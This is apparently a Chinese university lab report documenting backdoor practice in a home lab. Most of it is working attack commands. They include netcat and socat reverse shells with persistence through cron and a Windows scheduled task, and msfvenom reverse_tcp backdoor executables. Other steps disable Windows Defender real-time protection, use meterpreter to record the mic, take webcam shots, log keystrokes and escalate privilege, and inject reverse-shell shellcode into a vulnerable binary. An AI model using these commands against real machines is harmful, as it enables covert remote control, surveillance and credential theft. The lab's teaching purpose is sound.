后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。后门程序跟我们通常所说的"木马"有联系也有区别,两者的联系在于:都是隐藏在用户系统中向外发送信息,而且本身具有一定权限,以便远程机器对本机的控制;区别在于:木马是一个完整的软件,而后门则体积较小且功能都很单一。后门程序类似于特洛依木马(简称"木马"),其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作。后门程序和电脑病毒最大的差别,在于后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其它电脑。(在病毒命名中,后门一般带有backdoor字样,而木马一般则是Trojan字样。)
后门是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置。
一、实验内容与相关基础知识
(一)实验内容
· 使用netcat获取主机操作Shell,cron启动
· 使用socat获取主机操作Shell, 任务计划启动
· 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
· 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
· 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
(二)基础问题回答
· 例举你能想到的一个后门进入到你系统中的可能方式?
- 在非官网下载应用时,有时会捆绑其他软件,以此在系统中留后门
· 例举你知道的后门如何启动起来(win及linux)的方式?
- Windows:直接双击开启后门程序;通过Windows->控制面板->管理工具启动任务计划程序;开机自启动的后门;和其他程序捆绑运行
- Linux:通过在cron中添加任务,定时执行;通过一些脚本启动后门程序;通过和其他程序捆绑运行后门程序
· Meterpreter有哪些给你映像深刻的功能?
- 在主机植入后门后,可以直接控制主机的shell,甚至录音、录像等,通过键盘输入记录,可以轻松获取口令密码等信息
· 如何发现自己有系统有没有被安装后门?
- 安装杀毒软件,定时对系统进行检测
- 打开防火墙,查看是否有异常端口
二、常用后门工具实践过程记录
(一)Windows获得Linux Shell
1. 在Windows系统下,使用 ipconfig 指令查看本机IP地址: 192.168.1.231
2. 在Windows系统下,使用ncat.exe程序监听本机的1207端口,指令为 ncat.exe -l -p 1207 ,截图如下:
注:一定要进入到ncat.exe文件所在目录下,再开启监听
3. 在Linux中反弹连接Windows,指令为 nc 192.168.1.231 1207 -e /bin/sh ,其中,使用 -e 选项执行shell程序
注:ncat/nc 是一款功能类似于cat的工具,但是是用于网络的;它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。
4. Windows成功获得 linux 的shell
(二)Linux获得Windows Shell
1. 在Linux环境中,使用 ifconfig 指令查看Kali虚拟机的IP地址 192.168.141.130
2. 通过 nc 指令监听 1207 端口,指令为 nc -l -p 1207
3. 在Windows环境下,使用ncat.exe程序的 -e 选项反向连接Kali主机的 1207 端口,指令为 ncat.exe 192.168.1.141 -e cmd.exe 截图如下:
4. Kali下可以成功看到Windows的命令提示,可以输入Windows命令,截图如下:
(三)使用 nc 传输数据
1. Windows下监听1207端口,指令为 ncat.exe -l 1207
2. Kali环境下连接到Windows的1207端口,指令为 nc 192.168.1.231 1207
3. 建立连接后就可以传输数据
由于在实践期间更换了连接的网络,所以下方实践的主机IP地址为 172.20.10.12 ,虚拟机的IP地址为 192.168.141.130
(四)使用 nc 传输文件
· Windows向Linux传输文件
(1)在Windows环境下,ncat目录下创建20181207.txt,内容截图如下:
(2)Kali 中通过命令 nc -l -p 1207 > judy.txt 监听 1207 端口,并把收到的数据保存到 judy.txt 中
(3)Windows 反弹连接 Linux 的1207端口,指令为 ncat.exe 192.168.141.130 1207 < 20181207.txt
(4)Linux 可以收到 Windows 发来的文件,截图如下:
出现的问题与解决方式:
若此处如果不在端口前加参数 -p,则会连接失败,Windows端显示“目标计算机积极拒绝,无法连接”,截图如下:
Linux端此处不同于Windows,-p参数是必要的。
· Linux向Windows传输文件
(1)在Linux端创建文件20181207.txt,内容截图如下:
(2)在Windows中通过命令 ncat.exe -l 1207 > zhutao.txt 监听 1207 端口,并把收到的数据保存到 judy.txt 中
(3)Linux 反弹连接 Windows 的1207端口,指令为 nc 172.20.10.12 1207 < 20181207.txt
(4)Windows可以收到Linux发来的文件,截图如下:
三、实验过程记录
(一)使用netcat获取主机操作Shell,cron启动
1. 在Windows系统下,监听1207端口
2. 在Kali虚拟机中,用 crontab -e 指令编辑一条定时任务,其中:
· crontab 指令表示增加一条定时任务,
· -e 表示编辑,
· 选择编辑器时选择 3
3. 在最后一行添加 10 * * * * /bin/netcat 172.20.10.12 1207 -e /bin/sh 意思是:每个小时的第10分钟反向连接Windows主机的1207端口
4. 当时间到了15:10时,此时Windows环境下cmd.exe已经获得了Kali的shell,可以输入指令,截图如下:
(二)使用socat获取主机操作Shell,任务计划启动
· socat 简介
- socat 是 ncat 的增强版,它使用的格式是 socat [options] <address> <address> ,其中两个address是必选项,而options是可选项。
- socat 的基本功能就是建立两个双向的字节流,数据就在其间传输,参数 address 就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
1. 在Windows端按住 Win + R ,在弹出的运行框中输入 compmgmt.msc ,打开“计算机管理”
2. 在“任务计划程序”中“创建任务”
3. 填写任务名称,并新建一个触发器
4. 在操作->新建->程序或脚本中选择你的 socat.exe文件的路径,在添加参数一栏填写 tcp-listen:1207 exec:cmd.exe,pty,stderr ,这个命令的作用是把 cmd.exe 绑定到端口1207,同时把cmd.exe的stderr重定向到stdout上:
5. 创建完成后,按 Windows + L 快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行,截图如下:
6. 此时,在Kali环境下输入指令 socat - tcp:172.20.10.12:1207
· 这里的第一个参数 - 代表标准的输入输出
· 第二个流连接到Windows主机的 1207 端口
· 此时可以发现已经成功获得了一个cmd shell
(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1. 在Kali虚拟机上执行指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 -f exe > 20181207_backdoor.exe
· IP地址为控制端IP,即Linux的IP
· 生成了后门程序: 20181207——backdoor.exe
2. 通过 ncat.exe -lv 1207 > 20181207_backdoor.exe 指令让被控主机(在本实验中即Windows端)接受文件。其中, -lv 参数可以看到当前的连接状态。
3. 在Kali机中执行 nc 172.20.10.12 1207 < 20181207_backdoor.exe
4. 传送文件成功,截图如下;
5. 在Kali机上使用 msfconsole 指令进入msf控制台
· 输入 use exploit/multi/handler 进入handler
· 输入 set payload windows/meterpreter/reverse_tcp ,使用和生成后门程序时相同的payload,使用监听模块,设置连接(payload)
· 输入 set LHOST 192.168.141.130 ,这里用的是LinuxIP,和生成后门程序时指定的IP相同
· 输入 set LPORT 1207 ,设置使用相同的端口
· 输入 show options 再次查看设置是否正确
6. 设置完成后,输入 exploit 执行监听
7. 运行Windows下的后门程序(方式有两种,一种是直接双击20181207backdoor程序运行;另一种是在命令行中输入 20181207backdoor.exe 运行)
8. 此时Kali虚拟机上已经获得了Windows主机的连接,并且得到了远程控制的shell,截图如下:
出现的问题与解决方式:
无法运行后门程序20181207backdoor.exe,截图如下:
解决方法:进入”设置“,选择”Windows安全中心“,选择左侧栏中的“病毒和威胁防护”,点击中部位置的“管理设置”,关闭“实时保护”。
(四)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
1. 使用 record_mic 指令可以截获一段音频
2. 使用 webcam_snap 指令可以使用摄像头进行拍照,效果如下:
3. 使用 keyscan_start 指令开始记录下击键的过程,这里我在记事本中输入 hello kali world! ,再使用 keyscan_dump 指令读取击键的记录
4. 使用 screenshot 指令可以进行截屏,效果如下:
5. 提权
· 首先使用 getuid 指令查看当前用户
· 使用 getsystem 指令进行提权
出现的问题和解决方法:
提权失败了,截图如下:
解决方法:将后门程序名字修改为install.exe,成功提权。截图如下:
(五)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
方法一:
1. 生成一段shellcode:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.141.130 LPORT=1207 -f c
2. 根据实验一,设置堆栈可执行、关闭地址随机化,找到注入shellcode的位置。
3. 将反弹连接Shellcode放入,生成shellcodeinput文件
perl -e 'print "A" x 32;print"xb0xd1xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > shellcodeinput
4. 在新终端启动msfconsole,进行相应设置,并开始监听
5. 在另一个终端(cat shellcodeinput;cat) | ./pwn20181207,成功获得shell
方法二:
1. 在https://www.exploit-db.com/shellcodes中选取一个reverse开头的shellcode如下:
截取其中的机器指令如下:
x31xc9x31xdbxf7xe3xfexc1xfexc3xfexc3x66xb8x67x01xcdx80x93xfexc9x51xb2x16xb9x82x03x03x04x81xe9x03x03x03x03x51x66x68x11x5cx66x6ax02x8dx0cx24x66xb8x6ax01xcdx80x31xc9xb1x03x31xc0xb0x3fxfexc9xcdx80x75xf6x99xf7xe2x8dx08xbex2fx2fx73x68xbfx2fx62x69x6ex51x56x57x8dx1cx24xb0x0bxcdx80
2. 按照实验一的方法找到这段code的地址是 0xffffd150
3. 用perl生成shellcode
perl -e 'print "A" x 32;print "x50xd1xffxffx31xc9x31xdbxf7xe3xfexc1xfexc3xfexc3x66xb8x67x01xcdx80x93xfexc9x51xb2x16xb9x82x03x03x04x81xe9x03x03x03x03x51x66x68x11x5cx66x6ax02x8dx0cx24x66xb8x6ax01xcdx80x31xc9xb1x03x31xc0xb0x3fxfexc9xcdx80x75xf6x99xf7xe2x8dx08xbex2fx2fx73x68xbfx2fx62x69x6ex51x56x57x8dx1cx24xb0x0bxcdx80"' > input
4. MSF打开监听
1 use exploit/multi/handler 2 3 set payload linux/x86/shell_reverse_tcp 4 5 set LHOST 127.0.0.1 6 7 set LPORT 4444
此处设置的LHOST与LPORT均是按照我们下载的shellcode文件的要求进行设置的。
5. 设置完毕后,执行exploit
6. 开启另一终端,注入shellcode
方法三:
1. 在Kali上执行指令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.141.130 LPORT=1207 -x pwn1 -f elf > pwntest
- IP地址为控制端IP,即Linux的IP
- 生成了程序:pwntest.exe
-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中- 在参数说明中提到,
-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。原来的windows/meterpreter/reverse_tcp
就是一就是一段shellcode。实验一的pwn1在linux下运行,因此代码改为linux/x86/meterpreter/reverse_tcp
- 在参数说明中提到,
-f
生成文件的类型,使用file pwn1
得知pwn1的文件类型是elf
2. 在Kali上使用msfconsole
指令进入msf控制台
- 输入
use exploit/multi/handler
使用监听模块,设置payload set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.141.130
,这里用的是LinuxIP,和生成程序时指定的IP相同set LPORT 1207
,同样要使用相同的端口
-
设置完成后,执行监听
exploit
-
此时,在另一个终端运行
./pwntest
- 会提示权限不够,此时输入命令
chmod 777 pwntest
- 修改pwntest为可执行文件
- 再次执行
./pwntest
3. 后门程序运行成功,截图如下:
四、实验体会
本次实验让我大开眼界,学会并简单掌握了ncat、socat、meterpreter的基本应用,但对其原理还不是很理解,希望在未来可以常学常新。